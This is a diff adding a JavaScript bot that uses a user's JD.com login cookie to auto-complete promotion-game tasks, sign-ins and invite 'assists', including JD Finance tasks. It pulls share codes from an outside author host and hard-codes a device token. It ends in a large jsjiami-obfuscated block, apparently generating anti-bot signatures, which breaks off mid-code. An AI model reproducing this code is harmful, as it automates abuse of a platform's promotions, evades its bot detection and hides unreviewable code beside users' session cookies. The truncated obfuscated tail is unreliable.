+ if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) {
+ await $.wait(8000);
+ let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`)
+ await callbackResult(sendInfo)
+ } else {
+ await $.wait(2000);
+ console.log(`任务完成`);
+ }
+ }
+ }
+ //=======================================================京东金融=================================================================================
+ $.jdjrTaskList = [];
+ if(!$.hotFlag) await takePostRequest('jdjrTaskDetail');
+ await $.wait(1000);
+ for (let i = 0; i < $.jdjrTaskList.length; i++) {
+ $.taskId = $.jdjrTaskList[i].id;
+ if($.taskId === '3980' || $.taskId === '3981' || $.taskId === '3982') continue;
+ if($.jdjrTaskList[i].status === '1' || $.jdjrTaskList[i].status === '3'){
+ console.log(`去做任务:${$.jdjrTaskList[i].name}`);
+ await takePostRequest('jdjrAcceptTask');
+ await $.wait(8000);
+ await takeGetRequest();
+ }else if($.jdjrTaskList[i].status === '2'){
+ console.log(`任务:${$.jdjrTaskList[i].name},已完成`);
+ }
+ }
+ //======================================================怪兽大作战=================================================================================
+ $.pkHomeData = {};
+ await takePostRequest('zoo_pk_getHomeData');
+ if (JSON.stringify($.pkHomeData) === '{}') {
+ console.log(`获取PK信息异常`);
+ return;
+ }
+ await $.wait(1000);
+ $.pkTaskList = [];
+ if(!$.hotFlag) await takePostRequest('zoo_pk_getTaskDetail');
+ await $.wait(1000);
+ for (let i = 0; i < $.pkTaskList.length; i++) {
+ $.oneTask = $.pkTaskList[i];
+ if ($.oneTask.status === 1) {
+ $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo
+ for (let j = 0; j < $.activityInfoList.length; j++) {
+ $.oneActivityInfo = $.activityInfoList[j];
+ if ($.oneActivityInfo.status !== 1) {
+ continue;
+ }
+ console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`);
+ await takePostRequest('zoo_pk_collectScore');
+ await $.wait(2000);
+ console.log(`任务完成`);
+ }
+ }
+ }
+ await $.wait(1000);
+ //await takePostRequest('zoo_pk_getTaskDetail');
+ let skillList = $.pkHomeData.result.groupInfo.skillList || [];
+ //activityStatus === 1未开始,2 已开始
+ $.doSkillFlag = true;
+ for (let i = 0; i < skillList.length && $.pkHomeData.result.activityStatus === 2 && $.doSkillFlag; i++) {
+ if (Number(skillList[i].num) > 0) {
+ $.skillCode = skillList[i].code;
+ for (let j = 0; j < Number(skillList[i].num) && $.doSkillFlag; j++) {
+ console.log(`使用技能`);
+ await takePostRequest('zoo_pk_doPkSkill');
+ await $.wait(2000);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+
+async function takePostRequest(type) {
+ let body = ``;
+ let myRequest = ``;
+ switch (type) {
+ case 'zoo_signSingle':
+ body = `functionId=zoo_signSingle&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_signSingle`, body);
+ break;
+ case 'zoo_getHomeData':
+ body = `functionId=zoo_getHomeData&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getHomeData`, body);
+ break;
+ case 'helpHomeData':
+ body = `functionId=zoo_getHomeData&body={"inviteId":"${$.inviteId}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getHomeData`, body);
+ break;
+ case 'zoo_collectProduceScore':
+ body = getPostBody(type);
+ myRequest = await getPostRequest(`zoo_collectProduceScore`, body);
+ break;
+ case 'zoo_getFeedDetail':
+ body = `functionId=zoo_getFeedDetail&body={"taskId":"${$.taskId}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getFeedDetail`, body);
+ break;
+ case 'zoo_getTaskDetail':
+ body = `functionId=zoo_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getTaskDetail`, body);
+ break;
+ case 'zoo_collectScore':
+ body = getPostBody(type);
+ //console.log(body);
+ myRequest = await getPostRequest(`zoo_collectScore`, body);
+ break;
+ case 'zoo_raise':
+ body = `functionId=zoo_raise&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_raise`, body);
+ break;
+ case 'help':
+ body = getPostBody(type);
+ //console.log(body);
+ myRequest = await getPostRequest(`zoo_collectScore`, body);
+ break;
+ case 'zoo_pk_getHomeData':
+ body = `functionId=zoo_pk_getHomeData&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_pk_getHomeData`, body);
+ break;
+ case 'zoo_pk_getTaskDetail':
+ body = `functionId=zoo_pk_getTaskDetail&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_pk_getTaskDetail`, body);
+ break;
+ case 'zoo_pk_collectScore':
+ body = getPostBody(type);
+ //console.log(body);
+ myRequest = await getPostRequest(`zoo_pk_collectScore`, body);
+ break;
+ case 'zoo_pk_doPkSkill':
+ body = `functionId=zoo_pk_doPkSkill&body={"skillType":"${$.skillCode}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_pk_doPkSkill`, body);
+ break;
+ case 'pkHelp':
+ body = getPostBody(type);
+ myRequest = await getPostRequest(`zoo_pk_assistGroup`, body);
+ break;
+ case 'zoo_getSignHomeData':
+ body = `functionId=zoo_getSignHomeData&body={"notCount":"1"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getSignHomeData`,body);
+ break;
+ case 'zoo_sign':
+ body = `functionId=zoo_sign&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_sign`,body);
+ break;
+ case 'wxTaskDetail':
+ body = `functionId=zoo_getTaskDetail&body={"appSign":"2","channel":1,"shopSign":""}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_getTaskDetail`,body);
+ break;
+ case 'zoo_shopLotteryInfo':
+ body = `functionId=zoo_shopLotteryInfo&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_shopLotteryInfo`,body);
+ break;
+ case 'zoo_bdCollectScore':
+ body = getPostBody(type);
+ myRequest = await getPostRequest(`zoo_bdCollectScore`,body);
+ break;
+ case 'qryCompositeMaterials':
+ body = `functionId=qryCompositeMaterials&body={"qryParam":"[{\\"type\\":\\"advertGroup\\",\\"mapTo\\":\\"resultData\\",\\"id\\":\\"05371960\\"}]","activityId":"2s7hhSTbhMgxpGoa9JDnbDzJTaBB","pageId":"","reqSrc":"","applyKey":"jd_star"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`qryCompositeMaterials`,body);
+ break;
+ case 'zoo_boxShopLottery':
+ body = `functionId=zoo_boxShopLottery&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_boxShopLottery`,body);
+ break;
+ case `zoo_wishShopLottery`:
+ body = `functionId=zoo_wishShopLottery&body={"shopSign":"${$.shopSign}"}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_boxShopLottery`,body);
+ break;
+ case `zoo_myMap`:
+ body = `functionId=zoo_myMap&body={}&client=wh5&clientVersion=1.0.0`;
+ myRequest = await getPostRequest(`zoo_myMap`,body);
+ break;
+ case 'zoo_getWelfareScore':
+ body = getPostBody(type);
+ myRequest = await getPostRequest(`zoo_getWelfareScore`,body);
+ break;
+ case 'jdjrTaskDetail':
+ body = `reqData={"eid":"","sdkToken":"jdd014JYKVE2S6UEEIWPKA4B5ZKBS4N6Y6X5GX2NXL4IYUMHKF3EEVK52RQHBYXRZ67XWQF5N7XB6Y2YKYRTGQW4GV5OFGPDPFP3MZINWG2A01234567"}`;
+ myRequest = await getPostRequest(`listTask`,body);
+ break;
+ case 'jdjrAcceptTask':
+ body = `reqData={"eid":"","sdkToken":"jdd014JYKVE2S6UEEIWPKA4B5ZKBS4N6Y6X5GX2NXL4IYUMHKF3EEVK52RQHBYXRZ67XWQF5N7XB6Y2YKYRTGQW4GV5OFGPDPFP3MZINWG2A01234567","id":"${$.taskId}"}`;
+ myRequest = await getPostRequest(`acceptTask`,body);
+ break;
+ case 'add_car':
+ body = getPostBody(type);
+ myRequest = await getPostRequest(`zoo_collectScore`,body);
+ break;
+ default:
+ console.log(`错误${type}`);
+ }
+ return new Promise(async resolve => {
+ $.post(myRequest, (err, resp, data) => {
+ try {
+ //console.log(data);
+ dealReturn(type, data);
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+async function dealReturn(type, data) {
+ try {
+ data = JSON.parse(data);
+ } catch (e) {
+ console.log(`返回异常:${data}`);
+ return;
+ }
+ switch (type) {
+ case 'zoo_signSingle':
+ if (data.code === 0) $.signSingle = data.data
+ break;
+ case 'zoo_getHomeData':
+ if (data.code === 0) {
+ if (data.data['bizCode'] === 0) {
+ $.homeData = data.data;
+ $.secretp = data.data.result.homeMainInfo.secretp;
+ $.secretpInfo[$.UserName] = $.secretp;
+ }
+ }
+ break;
+ case 'helpHomeData':
+ console.log(data)
+ if (data.code === 0) {
+ $.secretp = data.data.result.homeMainInfo.secretp;
+ //console.log(`$.secretp:${$.secretp}`);
+ }
+ break;
+ case 'zoo_collectProduceScore':
+ if (data.code === 0 && data.data && data.data.result) {
+ console.log(`收取成功,获得:${data.data.result.produceScore}`);
+ }else{
+ console.log(JSON.stringify(data));
+ }
+ if(data.code === 0 && data.data && data.data.bizCode === -1002){
+ $.hotFlag = true;
+ console.log(`该账户脚本执行任务火爆,暂停执行任务,请手动做任务或者等待解决脚本火爆问题`)
+ }
+ break;
+ case 'zoo_getTaskDetail':
+ if (data.code === 0) {
+ console.log(`互助码:${data.data.result.inviteId || '助力已满,获取助力码失败'}`);
+ if (data.data.result.inviteId) {
+ $.inviteList.push({
+ 'ues': $.UserName,
+ 'secretp': $.secretp,
+ 'inviteId': data.data.result.inviteId,
+ 'max': false
+ });
+ }
+ $.taskList = data.data.result.taskVos;
+ }
+ break;
+ case 'zoo_collectScore':
+ $.callbackInfo = data;
+ break;
+ case 'zoo_raise':
+ if (data.code === 0) console.log(`升级成功`);
+ break;
+ case 'help':
+ case 'pkHelp':
+ //console.log(data);
+ switch (data.data.bizCode) {
+ case 0:
+ console.log(`助力成功`);
+ break;
+ case -201:
+ console.log(`助力已满`);
+ $.oneInviteInfo.max = true;
+ break;
+ case -202:
+ console.log(`已助力`);
+ break;
+ case -8:
+ console.log(`已经助力过该队伍`);
+ break;
+ case -6:
+ case 108:
+ console.log(`助力次数已用光`);
+ $.canHelp = false;
+ break;
+ default:
+ console.log(`怪兽大作战助力失败:${JSON.stringify(data)}`);
+ }
+ break;
+ case 'zoo_pk_getHomeData':
+ if (data.code === 0) {
+ console.log(`PK互助码:${data.data.result.groupInfo.groupAssistInviteId}`);
+ if (data.data.result.groupInfo.groupAssistInviteId) $.pkInviteList.push(data.data.result.groupInfo.groupAssistInviteId);
+ $.pkHomeData = data.data;
+ }
+ break;
+ case 'zoo_pk_getTaskDetail':
+ if (data.code === 0) {
+ $.pkTaskList = data.data.result.taskVos;
+ }
+ break;
+ case 'zoo_getFeedDetail':
+ if (data.code === 0) {
+ $.feedDetailInfo = data.data.result.addProductVos[0];
+ }
+ break;
+ case 'zoo_pk_collectScore':
+ break;
+ case 'zoo_pk_doPkSkill':
+ if (data.data.bizCode === 0) console.log(`使用成功`);
+ if (data.data.bizCode === -2) {
+ console.log(`队伍任务已经完成,无法释放技能!`);
+ $.doSkillFlag = false;
+ }else if(data.data.bizCode === -2003){
+ console.log(`现在不能打怪兽`);
+ $.doSkillFlag = false;
+ }
+ break;
+ case 'zoo_getSignHomeData':
+ if(data.code === 0) {
+ $.signHomeData = data.data.result;
+ }
+ break;
+ case 'zoo_sign':
+ if(data.code === 0 && data.data.bizCode === 0) {
+ console.log(`签到获得成功`);
+ if (data.data.result.redPacketValue) console.log(`签到获得:${data.data.result.redPacketValue} 红包`);
+ }else{
+ console.log(`签到失败`);
+ console.log(data);
+ }
+ break;
+ case 'wxTaskDetail':
+ if (data.code === 0) {
+ $.wxTaskList = data.data.result.taskVos;
+ }
+ break;
+ case 'zoo_shopLotteryInfo':
+ if (data.code === 0) {
+ $.shopResult = data.data.result;
+ }
+ break;
+ case 'zoo_bdCollectScore':
+ if (data.code === 0) {
+ console.log(`签到获得:${data.data.result.score}`);
+ }
+ break;
+ case 'qryCompositeMaterials':
+ //console.log(data);
+ if (data.code === '0') {
+ $.shopInfoList = data.data.resultData.list;
+ console.log(`获取到${$.shopInfoList.length}个店铺`);
+ }
+ break
+ case 'zoo_boxShopLottery':
+ let result = data.data.result;
+ switch (result.awardType) {
+ case 8:
+ console.log(`获得金币:${result.rewardScore}`);
+ break;
+ case 5:
+ console.log(`获得:adidas能量`);
+ break;
+ case 2:
+ case 3:
+ console.log(`获得优惠券:${result.couponInfo.usageThreshold} 优惠:${result.couponInfo.quota},${result.couponInfo.useRange}`);
+ break;
+ default:
+ console.log(`抽奖获得未知`);
+ console.log(JSON.stringify(data));
+ }
+ break
+ case 'zoo_wishShopLottery':
+ console.log(JSON.stringify(data));
+ break
+ case `zoo_myMap`:
+ if (data.code === 0) {
+ $.myMapList = data.data.result.sceneMap.sceneInfo;
+ }
+ break;
+ case 'zoo_getWelfareScore':
+ if (data.code === 0) {
+ console.log(`分享成功,获得:${data.data.result.score}`);
+ }
+ break;
+ case 'jdjrTaskDetail':
+ if (data.resultCode === 0) {
+ $.jdjrTaskList = data.resultData.top;
+ }
+ break;
+ case 'jdjrAcceptTask':
+ if (data.resultCode === 0) {
+ console.log(`领任务成功`);
+ }
+ break;
+ case 'add_car':
+ if (data.code === 0) {
+ let acquiredScore = data.data.result.acquiredScore;
+ if(Number(acquiredScore) > 0){
+ console.log(`加购成功,获得金币:${acquiredScore}`);
+ }else{
+ console.log(`加购成功`);
+ }
+ }else{
+ console.log(JSON.stringify(data));
+ console.log(`加购失败`);
+ }
+ break
+ default:
+ console.log(`未判断的异常${type}`);
+ }
+}
+function takeGetRequest(){
+ return new Promise(async resolve => {
+ $.get({
+ url:`https://ms.jr.jd.com/gw/generic/mission/h5/m/finishReadMission?reqData={%22missionId%22:%22${$.taskId}%22,%22readTime%22:8}`,
+ headers:{
+ 'Origin' : `https://prodev.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Connection' : `keep-alive`,
+ 'Accept' : `*/*`,
+ 'Referer' : `https://prodev.m.jd.com`,
+ 'Host' : `ms.jr.jd.com`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Accept-Language' : `zh-cn`
+ }
+ }, (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ console.log(`任务完成`);
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+//领取奖励
+function callbackResult(info) {
+ return new Promise((resolve) => {
+ let url = {
+ url: `https://api.m.jd.com/?functionId=qryViewkitCallbackResult&client=wh5&clientVersion=1.0.0&body=${info}&_timestamp=` + Date.now(),
+ headers: {
+ 'Origin': `https://bunearth.m.jd.com`,
+ 'Cookie': $.cookie,
+ 'Connection': `keep-alive`,
+ 'Accept': `*/*`,
+ 'Host': `api.m.jd.com`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Accept-Language': `zh-cn`,
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Referer': 'https://bunearth.m.jd.com'
+ }
+ }
+
+ $.get(url, async (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
+ console.log(data.toast.subTitle)
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+
+async function getPostRequest(type, body) {
+ let url = `https://api.m.jd.com/client.action?functionId=${type}`;
+ if(type === 'listTask' || type === 'acceptTask' ){
+ url = `https://ms.jr.jd.com/gw/generic/hy/h5/m/${type}`;
+ }
+ const method = `POST`;
+ const headers = {
+ 'Accept': `application/json, text/plain, */*`,
+ 'Origin': `https://wbbny.m.jd.com`,
+ 'Accept-Encoding': `gzip, deflate, br`,
+ 'Cookie': $.cookie,
+ 'Content-Type': `application/x-www-form-urlencoded`,
+ 'Host': `api.m.jd.com`,
+ 'Connection': `keep-alive`,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Referer': `https://wbbny.m.jd.com`,
+ 'Accept-Language': `zh-cn`
+ };
+ return {url: url, method: method, headers: headers, body: body};
+}
+
+function getPostBody(type) {
+ let taskBody = '';
+ if (type === 'help') {
+ taskBody = `functionId=zoo_collectScore&body=${JSON.stringify({"taskId": 2,"inviteId":$.inviteId,"actionType":1,"ss" :getBody()})}&client=wh5&clientVersion=1.0.0`
+ } else if (type === 'pkHelp') {
+ taskBody = `functionId=zoo_pk_assistGroup&body=${JSON.stringify({"confirmFlag": 1,"inviteId" : $.pkInviteId,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`;
+ } else if (type === 'zoo_collectProduceScore') {
+ taskBody = `functionId=zoo_collectProduceScore&body=${JSON.stringify({"ss" :getBody()})}&client=wh5&clientVersion=1.0.0`;
+ } else if(type === 'zoo_getWelfareScore'){
+ taskBody = `functionId=zoo_getWelfareScore&body=${JSON.stringify({"type": 2,"currentScence":$.currentScence,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`;
+ } else if(type === 'add_car'){
+ taskBody = `functionId=zoo_collectScore&body=${JSON.stringify({"taskId": $.taskId,"taskToken":$.taskToken,"actionType":1,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`
+ }else{
+ taskBody = `functionId=${type}&body=${JSON.stringify({"taskId": $.oneTask.taskId,"actionType":1,"taskToken" : $.oneActivityInfo.taskToken,"ss" : getBody()})}&client=wh5&clientVersion=1.0.0`
+ }
+ return taskBody
+}
+
+/**
+ * 随机从一数组里面取
+ * @param arr
+ * @param count
+ * @returns {Buffer}
+ */
+function getRandomArrayElements(arr, count) {
+ var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;
+ while (i-- > min) {
+ index = Math.floor((i + 1) * Math.random());
+ temp = shuffled[index];
+ shuffled[index] = shuffled[i];
+ shuffled[i] = temp;
+ }
+ return shuffled.slice(min);
+}
+function getAuthorShareCode(url = "http://cdn.annnibb.me/eb6fdc36b281b7d5eabf33396c2683a2.json") {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `${url}?${new Date()}`,
+ "timeout": 10000,
+ "headers": {
+ "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
+ }
+ };
+ if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) {
+ const tunnel = require("tunnel");
+ const agent = {
+ https: tunnel.httpsOverHttp({
+ proxy: {
+ host: process.env.TG_PROXY_HOST,
+ port: process.env.TG_PROXY_PORT * 1
+ }
+ })
+ }
+ Object.assign(options, { agent })
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ } else {
+ if (data) data = JSON.parse(data)
+ }
+ } catch (e) {
+ // $.logErr(e, resp)
+ } finally {
+ resolve(data || []);
+ }
+ })
+ await $.wait(10000)
+ resolve();
+ })
+}
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: $.cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+var _0xodZ='jsjiami.com.v6',_0x10d2=[_0xodZ,'w5nCgMKqwoIdGUrDjGYKw7IQ','flvDj8KEw64bfXFyIsKOcQ==','wpx3fwlO','w6rCg8OrW00=','wqzDtybCl8ON','wp8bw4XDjsOe','WngiwrU6','w5MOwprDtMK3Y8KxNVhewo3Dl1sa','bG1KwpvDgA==','SRLDuEjDscOhY8KywqfDnQzDqQ==','w63Ds8K8wpMe','w4V9w493w55hNXhXGsOlRw==','TmvChB8C','VsO5SVJ5KkjCvsOkwoTCqsOW','w5fCr8K8MQo=','wrpcHMO3JA==','wpdCwozDkMKR','YVACwqce','wrPCv8KZGSE=','wr4Rw7vDrMON','wpPCkhTCrkbCol7CqWRn','wpVqcQck','TsOmTTV+','asKPw5/Cmgw=','ZMK+RcKjGA==','b2hLwqvDnQ==','w5XDu8KuwrsD','UcOJWyFJ','wqXCucOjwqXDow==','w7fCkcKmwrkY','wonDk8O7wq16','wpPCu8OlwoTDmw==','w48EVMKAw6s=','BW3CmywK','w67CocKOwqUZ','ZcKRScKUCQ==','Ql7DicK4w4Y=','wqJFAMOFwrk=','wr7DocOpwqVI','w5LDtCLDhMKU','wrQDw5bDgMOq','wq3DvCrCqsOx','wpvCscK9BjI=','wqJTdy0L','wrzCqC3Dgko=','w6x/w5B7bhLDscKYYMK9BsOSfS4bw74ZI09EwqU8w6AQLHLDpsKkwpt6eCEZVTFmwrczw4ETw6oJTAEIw5vCsXDCjyhYXivDrQ7DgRJPIcK0w7VmT8ODw6TCgUo7ITAaDsO6IiPDpcKObcK3UMOVwq4Vwp1vw6suwrRDwrISw78DwqTDtMKMwrHDtsObSMK6KcKaTsOkw4zDgcKwDcKB','w5vDusK7w5TDn8K1acKPdTLCv2o=','w6g/esK+w5I=','P8KdW0py','w67CnsOeXFc=','w7vDu8KMwoImw5EDwqc=','wqwlw7/DrMOt','w5UAwp4=','TMK9Z1dZdw==','CmLCkSlo','woVmw5NFw6l7IXlgSMKw','w6MGwqbCm2dbblXClydZ','w4bDisOlwonCmg==','wpzCs8Oqwr7Dnw==','O1PDncKiUQ==','wr7Cq8OywqbDtw==','bsObdjxT','wo49w6fDtMOF','LcK/RnNY','woZ5bC9S','wpvDncOMwrhOw6PDmws=','w4tLSsKgFw==','w53CuH/DnsO2','wq7ChsONwr7DsA==','w5kfwr7DmMK0','w5bDnQHDisKm','wplcPcO8wo0=','w4zChsKowq0d','wptcwqrDt8K9','w40ke8Kyw4c=','w5ZPw4RleA==','wpfCjsK7PD4=','w5fDjFvDlcKM','w5hCVcKqAg==','wqfDoDLCkcOi','wrLDpy7CtMOU','QGzCmjchw4Q=','QMO+VVc=','wqLCs8OlwozDgA==','w7rDi8O6wo0=','w77DgsKOwoMD','YwY7woA=','KFLChSoc','YcKORsKhDQ==','w4cfV8KLw5k=','XcO8Uito','w5jCqcKZNA8=','SnrChTcg','VsOiJ24w','VMOgP18F','wqJIO8OZwqs=','VMK2w4XClig=','w6wjQsKyw5Q=','w4Ivwqhqaw==','w70neMKTw6M=','wopTH8OLwqY=','wowrw5jDrsO7','CcKmXXxu','w6/DgjrDisKUPA==','w73CosOXX8OkdA==','w7d0w7dTTw==','XBJgwpXCl8Kaw4cn','w7LCr8OYSsOTc29Jwrot','wojCl8OGwqTDujDDmcKRFsK3','CHzCqgIj','wop6XDJrw6wpwrk=','wp3Dl8OvwqBdw6nDkA==','wqJeBMORwos=','WMKXdMK+Jg==','w4JrY8KuJg==','w7TCuk/DvcOa','w5fCtcOzVU0I','w5ZXbMKuAjU=','Xholwr/CvA==','wo3Dmh7CkMOQ','w6thw7gJw6I=','AMKiQWlQ','w49qw459w6lh','YA8Vw5PDvQ==','wpNtZTFa','w50kwohOXQ==','wodqBMO5JMO3','wpzCnxvCu3HCpQ==','w6I2e8K2w5QT','DW/DqcKgXMKmwqw1E20=','VcODHUI=','wpnCjxrDu0A=','wohlZS8kw5bCrg==','Ck/DocKBWA==','woHDosO+wpp0','w7A2wovDusKk','w4dCw5Ym','w63CpVPDnMO0','USA8wrzCsBobasOHCA==','XxsHw4DDuA==','B0DChS4Pw7M=','YRPDoVTDpw==','w5cKwofDnMK0ZQ==','a2XCgB86','w5DDghPDmcKF','bRZ1woXCgw==','eRwhwoY=','w7o8RsKlw5ISwpLDgg==','wp5fwozDlcKq','w6PDscKxwpEgw5A=','csOnOW8j','wrfDvD7CocOiLEvCjAFQ','woPDl8OxwqtIw6I=','w6bCpcO+b8OT','wqXCvBTCo1w=','VQ81FjDCrcOg','S0rCtwAR','w5LDv0/DpsK8','ECjwlHTsjiLaXmi.ATzVqqcom.Gv6=='];(function(_0x3af7b2,_0xef381f,_0x5991ff){var _0x23152b=function(_0x3edb8e,_0x5bf10d,_0x4806de,_0x2ad583,_0x2541f8){_0x5bf10d=_0x5bf10d>>0x8,_0x2541f8='po';var _0x271348='shift',_0x1e1d6a='push';if(_0x5bf10d<_0x3edb8e){while(--_0x3edb8e){_0x2ad583=_0x3af7b2[_0x271348]();if(_0x5bf10d===_0x3edb8e){_0x5bf10d=_0x2ad583;_0x4806de=_0x3af7b2[_0x2541f8+'p']();}else if(_0x5bf10d&&_0x4806de['replace'](/[ECwlHTLXATzVqqG=]/g,'')===_0x5bf10d){_0x3af7b2[_0x1e1d6a](_0x2ad583);}}_0x3af7b2[_0x1e1d6a](_0x3af7b2[_0x271348]());}return 0x8dc47;};return _0x23152b(++_0xef381f,_0x5991ff)>>_0xef381f^_0x5991ff;}(_0x10d2,0x64,0x6400));var _0x5d0f=function(_0x27842b,_0xf82ddd){_0x27842b=~~'0x'['concat'](_0x27842b);var _0x3feb27=_0x10d2[_0x27842b];if(_0x5d0f['JzCYFE']===undefined){(function(){var _0x5a67c0=function(){var _0xbaf440;try{_0xbaf440=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3cf27a){_0xbaf440=window;}return _0xbaf440;};var _0x544084=_0x5a67c0();var _0xe48a6c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x544084['atob']||(_0x544084['atob']=function(_0x1f5173){var _0x41e4dc=String(_0x1f5173)['replace'](/=+$/,'');for(var _0x3148f4=0x0,_0x502018,_0x12e8c9,_0x2a589c=0x0,_0x3a9d1a='';_0x12e8c9=_0x41e4dc['charAt'](_0x2a589c++);~_0x12e8c9&&(_0x502018=_0x3148f4%0x4?_0x502018*0x40+_0x12e8c9:_0x12e8c9,_0x3148f4++%0x4)?_0x3a9d1a+=String['fromCharCode'](0xff&_0x502018>>(-0x2*_0x3148f4&0x6)):0x0){_0x12e8c9=_0xe48a6c['indexOf'](_0x12e8c9);}return _0x3a9d1a;});}());var _0x2f0f2e=function(_0x3cd7b7,_0xf82ddd){var _0x4420fb=[],_0x239f09=0x0,_0x238c64,_0x46a902='',_0x2c41c0='';_0x3cd7b7=atob(_0x3cd7b7);for(var _0xfddccd=0x0,_0x8808ca=_0x3cd7b7['length'];_0xfddccd<_0x8808ca;_0xfddccd++){_0x2c41c0+='%'+('00'+_0x3cd7b7['charCodeAt'](_0xfddccd)['toString'](0x10))['slice'](-0x2);}_0x3cd7b7=decodeURIComponent(_0x2c41c0);for(var 